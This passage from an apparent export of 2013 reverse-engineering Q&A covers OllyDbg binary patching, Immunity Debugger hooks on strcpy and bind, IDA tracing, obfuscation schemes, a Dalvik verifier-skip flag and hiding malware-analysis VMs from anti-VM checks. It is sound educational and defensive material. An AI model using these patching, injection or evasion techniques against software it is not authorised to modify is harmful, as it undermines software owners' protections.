46h\nseg005:00000046                                assume es:nothing, ss:nothing, ds:nothing, fs:nothing, gs:nothing\nseg005:00000046 68 78 56 34 12                 push    12345678h\nseg005:0000004B 68 0D D0 37 13                 push    1337D00Dh\nseg005:00000050 68 BE BA 37 13                 push    1337BABEh\nseg005:00000055 68 00 0D DB BA                 push    0BADB0D00h\nseg005:00000055                seg005          ends\nseg005:00000055\nseg005:00000055\nseg005:00000055                                end\n</code></pre>\n"
    },
    {
        "Id": "2460",
        "CreationDate": "2013-07-13T20:45:04.423",
        "Body": "<p>I am trying to modify RadASM so that Ctrl+W will close the tab, instead of Ctrl+F4, and also make it so that if you middle mouse click the tab, it will close. The context menu for a tab is just a copy of the \"Windows\" menu bar item. The problem is, I can not figure out which library or even function is used to create menu bars and its items. I can not find any relevant strings in OllyDBG, and I've tried making breakpoints for just about every call I thought it might be, but I can't get anything.</p>\n\n<p>Can anybody point me in the right direction? I couldn't locate the function in RadASM for determining which hotkeys/shortcuts do what either.</p>\n\n<p>I know all about code caves and injecting DLLs, so adding a function like the middle mouse click shouldn't be impossible; I just need to know where to start since I'm quite new to reverse engineering.</p>\n",
        "Title": "Change RadASM hotkey and add middle mouse click hotkey",
        "Tags": "|assembly|ollydbg|",
        "Answer": "<pre><code>ollydbg radasm.exe\nview windows (W Icon)\nsort class\nand look for Mdi class like mdiEditChild / dialog etc\n</code></pre>\n\n<p>example</p>\n\n<pre><code>Windows, item 96\n Handle=000704EE\n Title=C:\\testrad\\Html\\Projects\\testrad\\testradinc3.html\n Parent=000203E4\n ID=0000FDEA (65002.)\n Style=56CF0001 WS_CHILD|WS_GROUP|WS_TABSTOP|WS_CLIPSIBLINGS|WS_CLIPCHILDREN|WS_VISIBLE|WS_SYSMENU|WS_THICKFRAME|WS_CAPTION|1\n ExtStyle=00000340 WS_EX_MDICHILD|WS_EX_WINDOWEDGE|WS_EX_CLIENTEDGE\n Thread=Main\n ClsProc=00xxxxxx RadASM.00xxxxxx\n Class=MdiEditChild\n</code></pre>\n\n<p>right click message breakpoint on class proc</p>\n\n<p>in the dialog</p>\n\n<pre><code>choose window creation and destruction\nnever pause radio button\nlog winproc args always\n</code></pre>\n\n<p>you should be able to capture the <code>WM_CLOSE</code> sent by ctrl+f4</p>\n\n<pre><code>Log data\nAddress    Message\n00XXXXXX   CALL to Assumed WinProc from USER32.7E418731\n             hWnd = 000704EE ('C:\\testrad\\Html\\Projects\\test...',class='MdiEditChild',parent=000203E4)\n             Message = WM_CLOSE\n             wParam = 0\n             lParam = 0  \n</code></pre>\n\n<p>The <strong>patch</strong> below should pop up a <code>Messagebox</code> when you hit Middle Mouse Button \non the <code>SysTabControl</code></p>\n\n<pre><code>004071A7             |&gt; \\90            NOP                                      ;  Default case of switch 004070B6\n004071A8             |.  90            NOP\n004071A9             |.  90            NOP\n004071AA             |.  E8 5D1F0400   CALL    RadASMWM.0044910C\n\n00449100 &lt;STRING&gt;                 .  57 4D 5F 4D 42 5&gt;ASCII   \"WM_MB_CLICK\",0\n0044910C &lt;WM_MB_CLICK_HANDLER&gt;   /$  60               PUSHAD                                   ;  CALL FROM 4071AA\n0044910D                         |.  9C               PUSHFD\n0044910E                         |.  3D 07020000      CMP     EAX, 207                         ;  WM_MB\n00449113                         |.  75 13            JNZ     SHORT &lt;RadASMWM.RETTOORIGHANDLER&gt;\n00449115                         |.  6A 00            PUSH    0                                ; /Style = MB_OK|MB_APPLMODAL\n00449117                         |.  68 00914400      PUSH    &lt;RadASMWM.STRING&gt;                ; |Title = \"WM_MB_CLICK\"\n0044911C                         |.  68 00914400      PUSH    &lt;RadASMWM.STRING&gt;                ; |Text = \"WM_MB_CLICK\"\n00449121                         |.  6A 00            PUSH    0                                ; |hOwner = NULL\n00449123                         |.  E8 A2FBFFFF      CALL    &lt;JMP.&amp;user32.MessageBoxA&gt;        ; \\MessageBoxA\n00449128 &lt;RETTOORIGHANDLER&gt;      |&gt;  9D               POPFD\n00449129                         |.  61               POPAD\n0044912A                         |.  8B45 08          MOV     EAX, DWORD PTR SS:[EBP+8]        ;  RadASMWM.&lt;ModuleEntryPoint&gt;\n0044912D                         |.  E8 F7B8FBFF      CALL    &lt;RadASMWM.ORIGINAL HANDLER&gt;\n00449132                         \\.  C3               RETN\n</code></pre>\n"
    },
    {
        "Id": "2474",
        "CreationDate": "2013-07-14T22:31:51.387",
        "Body": "<p>I have a DVR that sends video over Ethernet using its own propriety TCP protocol. I want to write a VLC module to view the video, rather than the supplied DxClient.exe. I have captured traffic in wireshark and attempted to reverse engineer the client with IDA Pro, from what I can tell the client does some kind of handshake authentication, the DVR then sends 2 network packets (always 1514 bytes long), the client sends a TCP ACK and 2 more packets are transmitted, etc.etc... forever. From what I can tell the client uses Microsoft's AVIFIL32 library to decompress the packets to what essentially become AVI file frames.</p>\n\n<p>The problem is I don't understand how these frames are encoded or if they even are AVI frames. Can anyone help me, here is the data payload from 2 packets:</p>\n\n<p><a href=\"http://pastebin.com/2VDu2Tc2\">http://pastebin.com/2VDu2Tc2</a></p>\n\n<p><a href=\"http://pastebin.com/L3Zi3VqU\">http://pastebin.com/L3Zi3VqU</a></p>\n",
        "Title": "Reversing network protocol",
        "Tags": "|file-format|sniffing|wireshark|",
        "Answer": "<p>You can try Netzob tool. This is a tool dedicated to reverse engineering protocols.</p>\n\n<ul>\n<li>You can download it here : <a href=\"http://www.netzob.org/\">http://www.netzob.org/</a></li>\n<li>A great example w/ ZeroAccess C&amp;C protocol : <a href=\"http://www.netzob.org/documentations/presentations/netzob_29C3_2012.pdf\">http://www.netzob.org/documentations/presentations/netzob_29C3_2012.pdf</a></li>\n</ul>\n\n<p>You can also take a look at CANAPE : <a href=\"http://www.contextis.com/research/tools/canape/\">http://www.contextis.com/research/tools/canape/</a></p>\n"
    },
    {
        "Id": "2475",
        "CreationDate": "2013-07-14T22:55:17.453",
        "Body": "<p>I'm trying to reverse engineer a driver that consists of 2 components, a windows service and a control panel application. My goal of reverse engineering is to replace the control panel with my own program.</p>\n\n<p>Now as far as I can see I have a few possible approaches:</p>\n\n<ol>\n<li>I try to reverse engineer the control panel, and discover the calls sent. But this panel consists of a lot of bloatware.</li>\n<li>I try to reverse engineer the service, and discover the input needed. But this service also handles other (unknown) functions.</li>\n<li>I try to catch the communication between the panel and the service.</li>\n</ol>\n\n<p>Now 3 would be the easiest approach, but I have no idea if this is technically possible. Then I tried option 2, but i can only statically analyze the exe, Since dynamic analysis causes it to crash prematurely. Option 1 seems to be the most logical one, and this was the first I tried, but I can't really find an interesting starting point.</p>\n\n<p>Is there anyone who can point me in the right direction. I have some reverse engineering experience from crackme's and applications, but this is my first attempt at reversing a driver.</p>\n",
        "Title": "Reverse engineering windows service",
        "Tags": "|windows|ida|ollydbg|",
        "Answer": "<p>If you goal is ultimately to control the service, it make more sense to reverse it versus reversing control panel. Who knows, you might find functionality you were not aware of. The key part of reversing windows service is to realize that it runs within the context of the <a href=\"http://msdn.microsoft.com/en-us/library/windows/desktop/ms685150%28v=vs.85%29.aspx\" rel=\"nofollow noreferrer\"><strong>Service Control Manager</strong></a>, and simply running the executable will not work. There are several major components of any windows service, that you need to be aware of. I have already given an answer to <a href=\"https://reverseengineering.stackexchange.com/questions/2235/how-does-services-exe-trigger-the-start-of-a-service/2237#2237\"><strong>How does services.exe trigger the start of a service?</strong></a> question. It describes inner workings of a windows service.</p>\n\n<p>It is very much possible to reverse a Windows service both dynamically and statically as long as you understand underlining concepts. If you run your service in context of command prompt, it will fail. Every Windows service by design has to call to Service Control Manager, if that call fails it means the service is not executed within the SCM. It is expected to fail being executed outside of the SCM. If services expects input, you will have to figure out what it needs. Firstly, you will need to locate Service Worker Thread. Thereafter, locating part of the way it communicates to control panel should be easy. </p>\n"
    },
    {
        "Id": "2479",
        "CreationDate": "2013-07-15T05:26:23.847",
        "Body": "<p>One of the things that makes Java bytecode (.class) so easy to reverse engineer is that the JVM's verifier ensures that bytecode can always be disassembled via linear sweep. Instructions have to be consecutive starting at offset 0, and you can't jump into the middle of an instruction.</p>\n\n<p>However <a href=\"http://www.dexlabs.org/blog/bytecode-obfuscation\">this post</a> implies that Dalvik does not do such bytecode verification. The authors do all the usual x86 shenanigans like jumping into the middle of an instruction, which is apparently allowed. Is this true? Do Android VMs actually perform any kind of loadtime bytecode verification? If not, why?</p>\n",
        "Title": "Android bytecode verifier",
        "Tags": "|disassembly|android|byte-code|",
        "Answer": "<p>this is not entirely true. Dalvik bytecode will also be verified on the device, but this happens during installation time, not runtime. A verified and optimized version of the dex file will be stored on the system, protected by file system permission (you cannot change it afterwards unless you have rooted your device).</p>\n\n<p>The trick that was used in the blog post is that you can set a specific flag within the class header which tells the verifier to skip this class.</p>\n"
    },
    {
        "Id": "2486",
        "CreationDate": "2013-07-15T22:50:55.317",
        "Body": "<p>I have been looking for the equivalent of the \"Run Trace\" option of OllyDbg in IDA Pro. Can anyone mention if there is one and how to use it ?</p>\n",
        "Title": "Is there an equivalent of 'Run trace' as in OllyDbg for IDA PRO?",
        "Tags": "|ida|ollydbg|ida-plugin|",
        "Answer": "<p>IDA Pro offers two tracing options:</p>\n\n<ol>\n<li><strong>Instruction tracing</strong> <kbd>Debugger->Tracing->Instruction Tracing</kbd> It is very slow tracing process, since IDA monitors registers and has to record the address, the instruction, and changes values of registers, that were changed by the instruction.</li>\n<li><strong>Function tracing</strong> <kbd>Debugger->Tracing->Function Tracing</kbd>. It is a subcategory of instruction tracing, where only function calls are logged. </li>\n</ol>\n\n<p>There are also three types of tracing events: execution traces, write traces, and read/write traces. </p>\n\n<p>A trace in IDA Pro could by replayed by using <em>Trace replayer</em>. It is located within <em>Debuggers</em> submenu. You could switch to <em>Trace-replayer</em> by going to <kbd>Debugger->Switch Debugger...->Trace replayer</kbd></p>\n\n<p><img src=\"https://i.stack.imgur.com/0Hbix.png\" alt=\"enter image description here\"></p>\n\n<p>One thing to remember that you have to have trace created before you can replay it. In order to create a trace you will need to do the following:</p>\n\n<ol>\n<li>Set a breakpoint at the point where you want you trace started. </li>\n<li>Run the program with the debugger of your choice. </li>\n<li>Whenever it breaks, select desired tracing <em>style</em> (Instruction or Function)</li>\n<li>Run as far as necessary. You could set a second breakpoint to stop the trace.</li>\n<li>You can optionally save the trace.</li>\n<li>Replay the trace by switching debugger to <em>Trace replayer</em>.  </li>\n</ol>\n"
    },
    {
        "Id": "2489",
        "CreationDate": "2013-07-16T11:50:18.653",
        "Body": "<p>I don't know the exact name of this obfuscation, so I call it <strong>variable entanglement</strong> for now.</p>\n\n<p>I already saw this principle in a few binaries but I never found a complete description of what was possible and what was not.</p>\n\n<p>The idea is to confuse the reverser by mixing two values together and performing the operations on the mixed values. Once all operations have been performed, one can recompose the results by some simple operations. For example, a naive example could be:</p>\n\n<pre><code>int foo (int a, int b) {\n  long long x = 0;\n  // Initial entanglement\n  x = (a &lt;&lt; 32) | b;\n\n  // Performing operations on both variables\n  x += (12 &lt;&lt; 32) &amp; 72;\n  ...\n\n  // Final desentanglement\n  a = (int) (x &gt;&gt; 32);\n  b = (int) (((int) -1) &amp; x);\n} \n</code></pre>\n\n<p>Of course, here, we mix everything in one variable (and I did not take care of <em>details</em> such as the overflows). But, you can imagine way more complex initial entanglement where you re-split everything in two variables (or more), <em>e.g.</em> by xoring them together. </p>\n\n<p>Operations such as addition, multiplication, ... have to be redefined for this new format, so it can mislead the reverser.</p>\n\n<p>My question now, does anyone know about different such schema of variable entanglement (the one I gave is really basic) ? And, maybe, can give pointers or publication about it ?</p>\n",
        "Title": "Where and how is variable entanglement obfuscation used?",
        "Tags": "|obfuscation|whitebox-crypto|",
        "Answer": "<p>I'm not sure whether this is along the lines you're looking for (and quite possibly you've already figured out all of this and more), but here's a crude formalization and then some implementation thoughts.  Conceptually, this tries to separate what it <em>means</em> to entangle several values from how entangled values are <em>represented</em>.  </p>\n\n<h3>Formalization</h3>\n\n<p>Conceptually, entangled values can be thought of as <em>aggregates</em> where the different components retain their values, don't interfere with each other, and can be independently extracted.  A convenient way to think of such aggregates is as <em>n</em>-tuples of values; for simplicity I assume <em>n</em> = 2 here.  Also, I assume that we have operations to construct tuples from a collection of values, and to extract the component values from a tuple.</p>\n\n<p>We now need to be able to carry out operations on tuples.\nFor this, for each operation <strong>op</strong> in the original program we now have 2 versions: <strong>op1</strong>, which operates on the first component of a 2-tuple, and <strong>op2</strong>, which operates on the second component:</p>\n\n<blockquote>\n&lt;a1,b1&gt; <b>op1</b> &lt;a2,b2&gt; = if (b1 == b2) then &lt;(a1 <b>op</b> a2), b1&gt; else undefined<br>\n&lt;a1,b1&gt; <b>op2</b> &lt;a2,b2&gt; = if (a1 == a2) then &lt;a1, (b1 <b>op</b> b2)&gt; else undefined<br>\n</blockquote>\n\n<p>Finally (and this is where the obfuscation comes in), we need a way to encode tuples as values and decode values into tuples.  If the set of values is S, then we need two functions <strong>enc</strong> and <strong>dec</strong> that must be inverses of each other:</p>\n\n<blockquote>\n<b>enc</b>: S x S --> S  (encode pairs of values as a single entangled value)<br>\n<b>dec</b>: S --> S x S  (decode an entangled value into its components)<br>\n<p>\n<b>enc</b>(<b>dec</b>(x)) = x   for all x<br>\n<b>dec</b>(<b>enc</b>(x)) = x   for all x\n</blockquote>\n\n<p>Examples: </p>\n\n<ul>\n<li><p><strong>enc</strong> takes a pair  of 16-bit values and embeds them into a 32-bit value w such that x occupies the low 16 bits of w and y occupies the high 16 bits of w; <strong>dec</strong> takes a 32-bit value and decodes them into a pair  where x is the low 16 bits and y is the high 16 bits.</p></li>\n<li><p><strong>enc</strong> takes a pair &lt;x,y&gt; of 16 bit values and embeds them into a 32-bit word w such that x occupies the even-numbered bit positions of w and y occupies the odd-numbered bit positions of w (i.e., their bits are interlaced); <strong>dec</strong> takes a 32-bit value w and decodes them into a pair &lt;x,y&gt; such that x consists of the even-numbered bits of w and y consists of the odd-numbered bits of w.</p></li>\n</ul>\n\n<h3>Implementation considerations</h3>\n\n<p>From an implementation perspective, we'd like to be able to perform operations directly on encoded representations of values.  For this, corresponding to each of the operations <strong>op1</strong> and <strong>op2</strong> above, we need to define \"encoded\" versions <b>op1*</b> and <b>op2*</b> that must satisfy the following soundness criterion:</p>\n\n<blockquote>\n  <p>for all x1, x2, and y: x1 <b>op1*</b> x2 = y  IFF  <b>enc</b>( <b>dec</b>(x1) <b>op1</b> <b>dec</b>(x2) ) = y</p>\n</blockquote>\n\n<p>and similarly for <b>op2*</b>.</p>\n\n<p>A lot of details are omitted (mostly easy enough to work out), and this basic approach could be prettified in various ways, but I don't know whether this is along the lines you were asking for and also whether maybe this is pretty straightforward and you've already worked it all out for yourself.  Anyway, I hope this is useful.</p>\n\n<hr>\n\n<p>From @perror's comment (below) it seems clear that the formalization above is not powerful enough to capture the obfuscation he has in mind (though it might be possible to get a little mileage from generalizing the encoding/decoding functions <strong>enc</strong> and <strong>dec</strong>).</p>\n\n<p>I had forgotten about this paper, which discusses a transformation that seems relevant (see Sec. 6.1, \"Split variables\"):</p>\n\n<blockquote>\n  <p>Christian Collberg, Clark Thomborson, and Douglas Low. Breaking Abstractions and Unstructuring Data Structures. <em>IEEE International Conference on Computer Languages</em> (ICCL'98), May 1998. (<a href=\"http://www.cs.arizona.edu/~collberg/content/research/papers/collberg98breaking.pdf\" rel=\"nofollow\">link</a>)</p>\n</blockquote>\n"
    },
    {
        "Id": "2493",
        "CreationDate": "2013-07-17T04:51:41.077",
        "Body": "<p>I have a DLL with a large number of functions in IDA Pro. I would like to make a script that can scan the instructions within each of the functions looking for a specific instruction. For my specific case right now, I am looking for functions that shift left (shl). I am not sure which register is being shifted so I would like to keep it versatile. I do know that it is only shifting one place in this specific case.</p>\n\n<p>I know python on a very basic level, and I know IDA-Python on a non-existent level. Please help me with suggestions on how to access this data inside IDA.</p>\n\n<p>Edit:<br>\nI have read through <a href=\"https://stackoverflow.com/questions/8860020/is-there-a-way-to-export-function-names-from-ida-pro?rq=1\">this question</a> and it says that there is no direct access to the list of functions that have been discovered by IDA.  You have to specify a starting function address.  Is there any better way to list functions?</p>\n",
        "Title": "IDA Pro List of Functions with Instruction",
        "Tags": "|ida|idapython|",
        "Answer": "<p>While in the Text View of the disassembly window, press <kbd>Alt + T</kbd>. In the Text Search window, search for <code>shl</code> and check <code>Find all occurrences</code>:</p>\n\n<p><img src=\"https://i.stack.imgur.com/OR0Mt.png\" alt=\"Text Search window\"></p>\n\n<p>Press <code>OK</code> and you will get a list of all functions that contain <code>shl</code>:</p>\n\n<p><img src=\"https://i.stack.imgur.com/dCWjK.png\" alt=\"Occurrences of: shl\"></p>\n"
    },
    {
        "Id": "2502",
        "CreationDate": "2013-07-20T03:23:53.260",
        "Body": "<p>I am a newbie in python programming for Debugging . I wrote a code for using the function FastLogHook() in immlib but i am not able to figure out the exact problem with my code as it is not working :(</p>\n\n<p><b> Here is My code </b></p>\n\n<pre><code>#!/usr/bin/env python\n\nimport immlib\nfrom immlib import FastLogHook\n\nDESC = \"FastLogHook Basic Demo\"\n\ndef showresult(imm, a,addr):\nif a[0]==addr:\n    imm.Log(\"(0x%08x &gt;&gt; 0x%08x , 0x%08x)%(a[1][0], a[1][1], a[1][2]) \")\n    return \"done\"\n\ndef main(args):\nimm = immlib.Debugger()\nName = 'fasty'\nfast = imm.getKnowledge( Name )\n\nfunctionToHook = \"msvcrt.strcpy\"\nfunctionAddress = imm.getAddress(functionToHook)\nimm.log(str(functionAddress) + 'pf')\nif fast:\n    hook_list = fast.getAllLog()\n    imm.log(str(hook_list))\n    for a in hook_list:\n        ret = showresult( imm, a, functionAddress )\n    return\"Logged: %d hook hits.\" % len(hook_list)\nimm.pause()\nfast = FastLogHook(imm)\nfast.logFunction(functionAddress)\nfast.logBaseDisplacement('ESP', 0x4)\nfast.logBaseDisplacement('ESP', 0x8)\nfast.logRegister(\"ESP\")\nfast.Hook()\nimm.addKnowledge(Name, fast, force_add = 1)\n\nreturn \"Success!!\"\n</code></pre>\n\n<p>I am running this code in Immunity Debugger but continuously getting error . I searched , googled but due to the limitation of documentation regarding this I am unable to correct it .</p>\n",
        "Title": "Use of FastLogHook function in immlib?",
        "Tags": "|python|immunity-debugger|",
        "Answer": "<p>I also just started to learn more about this topic and managed to write down the following lines of code.</p>\n\n<p>I guess all my comments in the code are good enough as answer. I dont know much more then that anyway.</p>\n\n<pre><code>  ' #!/usr/bin/env python\n\n  import immlib\n  import struct\n  from immlib import STDCALLFastLogHook\n\n  DESC=\"FastLoogHook\"\n\n  def main(args):\n\n        \"\"\"\n                Will hook and run its own assembly code then return to the process\n                Usage: First run the script to install hook, then run it again to get results ^^\n        \"\"\"\n\n        imm = immlib.Debugger()\n        Name = \"hippie\"\n\n\n        # Get stored data on second script run\n        fast = imm.getKnowledge(Name)\n\n        if fast:\n\n                # Get a list of all the things we saved\n                hook_list = fast.getAllLog()\n\n                # Log result\n                imm.log(str(hook_list))\n\n                # unpack list\n                (func_addr, (esp1, esp2)) = hook_list[0]\n\n                # Log argument\n                imm.log(imm.readString(esp2))\n\n                return \"Parsing results done\"\n\n        # Find strcpy address   \n        strcpy = imm.getAddress(\"msvcrt.strcpy\")\n\n        # Building the hook\n        fast = immlib.FastLogHook(imm)\n\n        # This function is required and returns \n        # the address of the original instruction\n        fast.logFunction(strcpy)\n\n        # Offset\n        fast.logBaseDisplacement(\"ESP\", 4)\n        fast.logBaseDisplacement(\"ESP\", 8)\n\n        # Set hook\n        fast.Hook()\n\n        # Save data for later use\n        imm.addKnowledge(Name, fast, force_add = 1)\n\n        return \"FastLogHook installed for strcpy\"'\n</code></pre>\n"
    },
    {
        "Id": "2505",
        "CreationDate": "2013-07-20T14:30:52.657",
        "Body": "<p>So I understand that there are many assemblers such as MASM, FASM, NASM, etc.</p>\n\n<p>But which version is the disassembler in OllyDbg and Cheat Engine?</p>\n",
        "Title": "Which version of assembly does OllyDbg disassemble binary to?",
        "Tags": "|disassembly|assembly|disassemblers|",
        "Answer": "<p>ollydbg 2.0 supports AT&amp;T syntax also</p>\n\n<pre><code>CPU Disasm\nAddress   Command                                  Comments\n01002C0C  CMPL    %ESI, %DS:notepad.fUntitled      ; Case 3 of switch notepad.1002BBE\n01002C12  MOVL    %DS:notepad.g_ftOpenedAs, %EAX\n01002C17  MOVL    %EAX, %DS:notepad.g_ftSaveAs\n01002C1C  JNE     $notepad.01002C37\n01002C1E  PUSHL   %ESI                             ; /Arg3 = 0B1F01\n01002C1F  PUSHL   $OFFSET notepad.szFileName       ; |Arg2 = notepad.szFileName\n01002C24  PUSHL   %DS:notepad.hwndNP               ; |Arg1 = 0\n01002C2A  CALL    $notepad.SaveFile                ; \\notepad.SaveFile\n</code></pre>\n"
    },
    {
        "Id": "2507",
        "CreationDate": "2013-07-20T17:54:16.717",
        "Body": "<p>How do I get IP address and port number out of bind function in Server application. Can it be achieved with hooks like bphook in immunity debugger?</p>\n\n<p>My problem is that I don't know how to unpack struct psockaddr/sockaddr or how sockaddr is saved on the stack.</p>\n",
        "Title": "Server-side bind() function, immlib",
        "Tags": "|python|immunity-debugger|",
        "Answer": "<p>I will assume you are talking about Windows Sockets and IPv4, since you have not mentioned otherwise. <code>sockaddr</code> is very well described in <a href=\"https://i.stack.imgur.com/8cNC8.png\" rel=\"noreferrer\">MSDN</a>. It is defined as for IPv4 as follows:</p>\n\n<pre><code>struct sockaddr {\n        ushort  sa_family;\n        char    sa_data[14];\n};\n\nstruct sockaddr_in {\n        short   sin_family;\n        u_short sin_port;\n        struct  in_addr sin_addr;\n        char    sin_zero[8];\n};\n</code></pre>\n\n<p>I will use simple server application for demonstration purposes. Firstly let's set breakpoint on <code>bind()</code> and see what stack looks like:</p>\n\n<p><img src=\"https://i.stack.imgur.com/8cNC8.png\" alt=\"enter image description here\"></p>\n\n<p>As you can see, <code>pSockAddr</code> is a pointer to <code>sockaddr</code> structure is pushed on to stack as a second argument to the function. Let's go a little further and examine the <code>sockaddr</code> at <code>0x0031F840</code>:</p>\n\n<p><img src=\"https://i.stack.imgur.com/0hdv7.png\" alt=\"enter image description here\"></p>\n\n<p>One very important thing to note is that <code>sin_port</code> and <code>sin_addr</code> are stored using <a href=\"http://en.wikipedia.org/wiki/Endianness\" rel=\"noreferrer\"><em>big-endian</em></a> byte order, meaning the most significant part stored first.</p>\n\n<p>Now let's jump in and get <a href=\"https://www.corelan.be/index.php/2010/01/26/starting-to-write-immunity-debugger-pycommands-my-cheatsheet/\" rel=\"noreferrer\">pyCommand</a> created in order to automate it with <a href=\"http://www.immunityinc.com/products-immdbg.shtml\" rel=\"noreferrer\">Immunity Debugger</a>. For this purpose I will use <code>BpHook</code>:</p>\n\n<pre><code># bindtrace PyCommand by PSS \n\nfrom immlib import *\n\nNAME = \"bindtrace\"\n\nclass BindBpHook(BpHook):\n    def __init__(self):\n        BpHook.__init__(self)\n\n    def run(self, regs):\n        imm = Debugger()\n\n        imm.log(\" \")\n        imm.log(\"Bind() called:\")\n\n        # Read sockaddr structure address\n        sockaddr = imm.readLong(regs[\"ESP\"] + 8)        \n\n        # Read 2 bytes of sin_family member\n        sockaddr_sin_family = imm.readShort(sockaddr)\n\n        # Read 2 bytes of sin_port and calculate port number \n        # since it is stored as big-endian\n        portHiByte = ord(imm.readMemory(sockaddr + 2, 1))\n        portLowByte = ord(imm.readMemory(sockaddr + 3, 1))\n        sockaddr_sin_port = portHiByte * 256 + portLowByte\n\n        # Read 4 bytes of sin_addr since it is stored as big-endian\n        ipFirstByte = ord(imm.readMemory(sockaddr + 4, 1))\n        ipSecondByte = ord(imm.readMemory(sockaddr + 5, 1))\n        ipThirdByte = ord(imm.readMemory(sockaddr + 6, 1))\n        ipForthByte = ord(imm.readMemory(sockaddr + 7, 1))\n\n        # Print results to Log View window\n        imm.log(\"---&gt; Pointer to sockaddr structure: 0x%08x\" % sockaddr)\n        imm.log(\"---&gt; sockaddr.sin_family: %d\" % sockaddr_sin_family)\n        imm.log(\"---&gt; sockaddr.sin_port: %d\" % sockaddr_sin_port)\n        imm.log(\"---&gt; sockaddr.sin_addr: %d.%d.%d.%d\" % \\\n                        (ipFirstByte,ipSecondByte,ipThirdByte,ipForthByte))\n        imm.log(\" \")\n        imm.log(\"Press F9 to resume\")\n\n\ndef main(args):\n\n    imm = Debugger()\n    functionToHook = \"ws2_32.bind\"\n\n    # Find address of the function to hook\n    functionAddress = imm.getAddress(functionToHook)\n\n    # Create and install our hook\n    myHook = BindBpHook()\n    myHook.add(functionToHook, functionAddress)\n\n    imm.log(\"Hook for %s installed at: 0x%08x\" % (functionToHook, functionAddress))\n\n    return \"[*] Hook installed.\"\n</code></pre>\n\n<p>Installation of the script is very simple. All pyCommands are stored in ./pyCommands folder of Immunity Debugger installation. I named my file <code>bindtrace.py</code>.</p>\n\n<p>Thereafter, we load our executable into Immunity Debugger. Debugger will break automatically at entry point. Right after that we invoke the above pyCommand by typing <code>!bindtrace</code>, and run the executable by pressing <kbd>F9</kbd>. As soon as breakpoint hits, we get the result in Log windows, which can be accessed through <kbd>Alt + L</kbd>:</p>\n\n<p><img src=\"https://i.stack.imgur.com/7j7pm.png\" alt=\"enter image description here\"></p>\n"
    },
    {
        "Id": "2510",
        "CreationDate": "2013-07-20T23:31:00.197",
        "Body": "<p>How to check if DEP, ASLR and SafeSEH defense mechanism are enabled or not in a program using <code>immlib</code> library of Python in Immunity Debugger ? </p>\n\n<p>Actually I am looking for small code snippet for each.</p>\n",
        "Title": "Check DEP , ASLR and SafeSEH enabled or not , immlib",
        "Tags": "|debuggers|python|immunity-debugger|seh|",
        "Answer": "<p>To add to @jvoisin's answer, you can have a look at <a href=\"https://github.com/kholia/checksec\" rel=\"nofollow\">checksec</a> - python implementation of checksec.sh</p>\n\n<p>Both these scripts are simple (compared to mona.py) and should help you get started. </p>\n"
    },
    {
        "Id": "2513",
        "CreationDate": "2013-07-22T00:48:28.517",
        "Body": "<p>Once I perform static analysis on a malware sample, I next run it in a virtual machine.</p>\n\n<ul>\n<li>Does this give the malware a chance to spread to the real machine?</li>\n<li>Does this give the malware a chance to spread across networks?</li>\n<li>What steps/tips can I follow to prevent the malware from spreading from the VM?</li>\n</ul>\n\n<p>I use VMwareW.</p>\n",
        "Title": "Malware in virtual machines",
        "Tags": "|malware|virtual-machines|",
        "Answer": "<p>There were a lot of saying in replays, but I'd like to stress on some answers from the practical point of view:</p>\n\n<ul>\n<li><strong>network connection</strong> - a while ago I would agree that simply disconnecting the vm from the network will solve the problem of spreading through the network. Today, there are more and more malwares that will work only when the connection to CnC has been established or at least it can ping to the outer world, so I'd suggest that you should think about more serious solution than just disconnecting the cable:\n<ul>\n<li>setup another vm which will function as a gateway, this will also help you to log the traffic</li>\n<li>use network simulation software like iNetSim which can help in some cases when you need to fake the result returned by the CnC</li>\n<li>setup firewall and try not to use network shares or at least make them read only </li>\n</ul></li>\n<li><strong>VM setup</strong> - not installing vm tools is of cause a way to hide vm from the malware but it is really hard to work on such vm. The very least that you should do, is setup the VM in a more stealthy way. I've found a couple of links that may help with this, but there are many more other solutions:\n<ul>\n<li><a href=\"http://www.unibia.com/unibianet/systems-networking/bypassing-virtual-machine-detection-vmware-workstation\" rel=\"nofollow\">Bypassing Virtual Machine Detection on VMWare Workstation</a> - you can find here vmware configuration options for stealthier work and some other stuff.</li>\n<li><a href=\"http://www.simonganiere.ch/2012/11/20/malware-anti-vm-technics/\" rel=\"nofollow\">Malware anti-VM technics</a> - some explanations about what helps the malware to detect vm</li>\n<li>the next step is to develop different proprietary tools that can help you with research and more advanced anti-vm techniques.</li>\n<li>try to setup your environment is such a way, so that the host and the guest are different OSs - host is linux/unix/osx and the guest is windows. This will further minimize the risk of host infection.</li>\n</ul></li>\n<li><strong>physical machines</strong> - from practical point of view the use of physical machines is pretty annoying and consumes time and demands much accuracy especially when dealing with unknown malwares and I'm not event talking about the restore overhead after the machines were infected.</li>\n</ul>\n\n<p>Hope this will help :)</p>\n"
    },
    {
        "Id": "2521",
        "CreationDate": "2013-07-22T21:20:59.370",
        "Body": "<p>I compiled some [relatively complex] Java code into a .class file, then used jad to decompile it back into java. Of course, the code was obfuscated, which was to be expected. However, given that I had the original code, I thought I'd be able to look through the decompiled code fairly easily. However, I noticed differences in the code, such as where certain variables were defined (including differences of scope).</p>\n<p>Is there any main reason for this? I imagine it's one of those things that just happen in decompilation of code, but I'm more curious about what factors cause the change (e.g. complexity of code, whether it refers to other files, etc.).</p>\n<p>Could someone provide me with a good explanation on what factors cause the differences in the code before and after?</p>\n<h3>Edit</h3>\n<p>Technically, the .class file is pulled from a jar. I extracted the contents and used the .class file in there.</p>\n<p>As far as which obfuscator I used, I used the Retroguard obfuscator with the following options (I'm currently just exploring obfuscation and finding out what each thing does to the final result):</p>\n<pre><code>.option Application\n.option Applet\n.option Repackage\n.option Annotations\n.option MapClassString\n.attribute LineNumberTable\n.attribute EnclosingMethod\n.attribute Deprecated\n</code></pre>\n<p>Documentation for the script can be found on <a href=\"http://www.retrologic.com/rg-docs-scripting.html\" rel=\"nofollow noreferrer\">their site</a>. It's a little unorganized, but you should be able to find adequate explanations in there. It's also noteworthy that I stripped the generics and the local variable table.</p>\n<p>I have now also set up a way (inspired by the creators of the Minecraft Coder Pack) to rename the sources using data from a file (or files), which is passed to a dictionary of lists for packages, classes, methods, and fields.</p>\n<pre><code># snippet from the MCP version (mine's slightly different) (all in Python):\nsrg_types = {'PK:': ['obf_name', 'deobf_name'],\n            'CL:': ['obf_name', 'deobf_name'],\n            'FD:': ['obf_name', 'deobf_name'],\n            'MD:': ['obf_name', 'obf_desc', 'deobf_name', 'deobf_desc']}\nparsed_dict = {'PK': [],\n               'CL': [],\n               'FD': [],\n               'MD': []}\n</code></pre>\n<p>A line is then parsed from the file, and it is 